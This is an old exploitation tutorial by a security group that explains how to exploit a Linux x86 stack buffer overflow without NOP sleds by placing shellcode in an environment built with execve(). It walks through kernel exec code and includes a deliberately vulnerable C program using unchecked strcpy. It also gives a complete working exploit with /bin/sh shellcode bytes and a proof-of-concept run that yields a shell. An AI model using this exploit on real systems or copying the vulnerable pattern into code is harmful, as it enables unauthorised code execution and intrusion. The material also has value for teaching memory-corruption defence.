Netric Security Team
- Instruction pointer schurken :-)

-- By gloomy & The Itch

-- "Radical Environmentalists"

- Preface

  This is part I of a few articles regarding tiny stack tips and tricks. You are reading part I now, and part II will cover this technique on a Sparc station.

--

The idea of writing this article came to me when I was browsing through some really old log files, I stumbled upon some of the conversations I had with scrippie.

He told me about a technique that involves normal stack based buffer overflows, but without using any nops of any kind. In other words, we place our buffer on the stack (or better yet, in the environment part) and exactly know at which place it is located. This article is based upon what he told me a long time ago.

When we call a vulnerable program within our exploit, we can do it in a couple of ways. We can go for the sloppy way and use system("./vuln"); or execl(path, args,NULL); etc. When we choose the system(); way, we could provide our buffers in the environment, which will be taken along with a lot of other environment buffers thus cluttering up the environment and making us loose track of the exact location of our buffer. The same happens for using other exec* functions except for 2 others. They have the option to define only the environment buffers that are used within the program that is going to be executed, and not in the 'exploit' itself. These 2 functions are execve(); and execle();.
In our case we shall use execve() over execle() because execle() is nothing more then a front end to execve().

----man execve----

```
NAME
       execve - execute program

SYNOPSIS
       #include <unistd.h>

       int  execve  (const  char  *filename, char *const argv [], char *const envp[]);

       ...

       envp is an array of strings,  conventionally  of the form key=value, which are
       passed as environment to the new program.

       ...

       execve() does not return on success, and the text, data, bss, and stack of the
       calling process are overwritten by that of the program loaded. The program
       invoked inherits the calling process's PID, and any open file descriptors that
       are not set to close on exec.

       ...
```

----man execve----

Here execve() explicitly tells us that we can supply a completely new environment to the program. Now knowing this, we should investigate how the stack works, and better yet, what the environment exactly is.

The address space of a Linux process has four logical segments that look a little bit like this:

```
        |--------------| /---- Higher memory addresses
        |              |
        | stack area   | <--   Here are function arguments and local vars stored.
        |              |       Normally records are placed in a LIFO order on the
        |              |       stack (last in first out). The size is dynamic.
        | -----------  |
        | Heap area    | <--   This is the area for dynamically allocated data
        |              |       structures (commonly used are malloc() and free()).
        |              |       The size of the heap is therefore dynamic.
        | -----------  |
        | Data area    | <--   This area is for initialized static and global data.
        |              |       Its size is fixed.
        | -----------  |
        | text area    | <--   This area is a fixed size, read only and is shareable
        |              |       thru out the entire program. It also consists of string
        |              |       constants.
        |              |
        |--------------| \----- Lower memory addresses
```

The text and data segments are mapped into RAM at program execution. The heap and the stack are created dynamically by the operating system at program load time or as part of dynamic linking.

The area we are interested in for this particular technique is the stack area. The stack starts at memory offset 0xc0000000 (under very rare circumstances it does not, this is mainly the case when the programmer of the vulnerable program was using setrlimit() to adjust RLIMIT_STACK and/or RLIMIT_AS). From 0xc0000000 the stack grows downwards on the Intel architecture.

To see what is really happening we shall take a look in */usr/src/linux/fs/exec.c* and see the following function:

----/usr/src/linux/fs/exec.c----

```
/*
* sys_execve() executes a new program.
*/
int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
{
struct linux_binprm bprm;
        struct file *file;
        int retval;
        int i;

        file = open_exec(filename);

retval = PTR_ERR(file);
        if (IS_ERR(file))
                return retval;

        bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
        memset(bprm.page, 0, MAX_ARG_PAGES*sizeof(bprm.page[0]));

        bprm.file = file;
        bprm.filename = filename;
        bprm.sh_bang = 0;
        bprm.loader = 0;
        bprm.exec = 0;
        if ((bprm.argc = count(argv, bprm.p / sizeof(void *))) < 0) {
        allow_write_access(file);
        fput(file);
        return bprm.argc;
        }

        if ((bprm.envc = count(envp, bprm.p / sizeof(void *))) < 0) {
                allow_write_access(file);
                fput(file);
                return bprm.envc;
        }

        retval = prepare_binprm(&bprm);
        if (retval < 0)
        goto out;

        retval = copy_strings_kernel(1, &bprm.filename, &bprm);
        if (retval < 0)
        goto out;

        bprm.exec = bprm.p;
        retval = copy_strings(bprm.envc, envp, &bprm);
        if (retval < 0)
             goto out;

        retval = copy_strings(bprm.argc, argv, &bprm);
        if (retval < 0)
        goto out;

        retval = search_binary_handler(&bprm,regs);
        if (retval >= 0)
        /* execve success */
                return retval;

...
```

----/usr/src/linux/fs/exec.c----

Here we see that pointer p in the linux_binprm structure is set to the end of the last memory page minus a void pointer (which comes down to 4 bytes), which is 0xc0000000 - 0x04 unless specified otherwise within the program that is execve()'ed. This happens at line 863:

```
863:    bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
```

Next thing that happens is that the filename is copied into memory (this comes down to the first argument given in execve()). And happens at line 887:

```
887:    retval = copy_strings_kernel(1, &bprm.filename, &bprm);
```

The calculation now looks like this:
0xc0000000 - 0x04 - sizeof(file_that_gets_executed).

Next thing that is copied into memory is the environment and the arguments for the program that is execve()'ed, that happens here at lines 892 and 896:

```
892:    retval = copy_strings(bprm.envc, envp, &bprm);
896:    retval = copy_strings(bprm.argc, argv, &bprm);
```

Since we place the shellcode in environment memory, which would put the location of our shellcode at:

0xc0000000 - 0x04 - sizeof(file_that_gets_executed) - sizeof(shellcode)

After that the arguments of the program are put into memory, but that isn’t really interesting for us anymore since we have the address already where our shellcode is located. We have all the required information, now lets write an exploit for the following vulnerable program:

----vuln.c----

```
01: #include <stdio.h>
02: #include <stdlib.h>
03:
04: int main(int argc, char *argv[])
05: {
06:     char buf[100];
07:     if(!(argc > 1)) { printf("gone --> no args!\n"); exit(1); }
08:     if((getenv("HOME") == NULL)) { printf("no getenv!\n"); exit(1); }
09:     strcpy(buf, argv[1]);
10:     printf("done!\n");
11:     return 0;
12: }
```

----vuln.c----

We have built in an extra check for another environment string at line 08 since we want to explain how multiple strings are put on the environment, and how to make sure our shellcode remains at our calculated place.

Some redhat machines tend to add some extra bytes to a buffer, on redhat 7.2 the actual length of my buffer was: sub $0x78,%esp (0x78 = 120 decimal, that makes our buffer 120 bytes long, to overwrite the eip we must supply 128 bytes).

On the next page is an exploit for the vulnerable program with the techniques described above.

----expl.c----

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFSIZE 120

char shell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
               "\x68\x2f\x62\x69\x6e\x89\xe3\x89"
               "\x64\x24\x0c\x89\x44\x24\x10\x8d"
               "\x4c\x24\x0c\x8b\x54\x24\x08\xb0"
               "\x0b\xcd\x80";

int main(void)
{
    char buf[BUFSIZE+12];
    char *prog[] = {"./vuln", buf, NULL};
    char *env[] = {"HOME=BLA", shell, NULL};

    unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
    strlen(shell) - 0x02;

    memset(buf,0x41,sizeof(buf));
    memcpy(buf+BUFSIZE+4,(char *)&ret,4);
    buf[BUFSIZE+8] = 0x00;

    execve(prog[0],prog,env);
    return 0;
}
```

----expl.c----

Like described above, the stack works in LIFO order (Last In First Out). Since we need to put our shellcode as the very first string on the stack, we have to place it as last argument to our array env[]. The following diagram shows:

```
   |-------------------| -->  Top of the stack, at address 0xc0000000(esp)
 - | 0x04              | -->  esp is now at: 0xbffffffc
 - | sizeof(prog[0])   | -->  (vuln = 4 bytes long esp is now at: 0xbffffff8
 - | second env string | -->  our shellcode, it is 45 bytes (0x2d). esp is now at:
   |                   |      0xbfffffcb - 0x02.
 - | fist env string   | -->  first environment string, "HOME=BLA", and so on.
   |-------------------|
```

The address where our shellcode starts is at: **0xbfffffc9**.
We subtract 0x02 at the end because strlen() does not count 0x00 bytes. And since we use 2 strings (prog[0] and shell[]) we have to close them too.

And now, for some proof of concept:

```
[itchie@netric sources]$ gcc expl.c -o expl
[itchie@netric sources]$ ./expl
done
sh-2.05$
```

And this is how an exploit without nops works.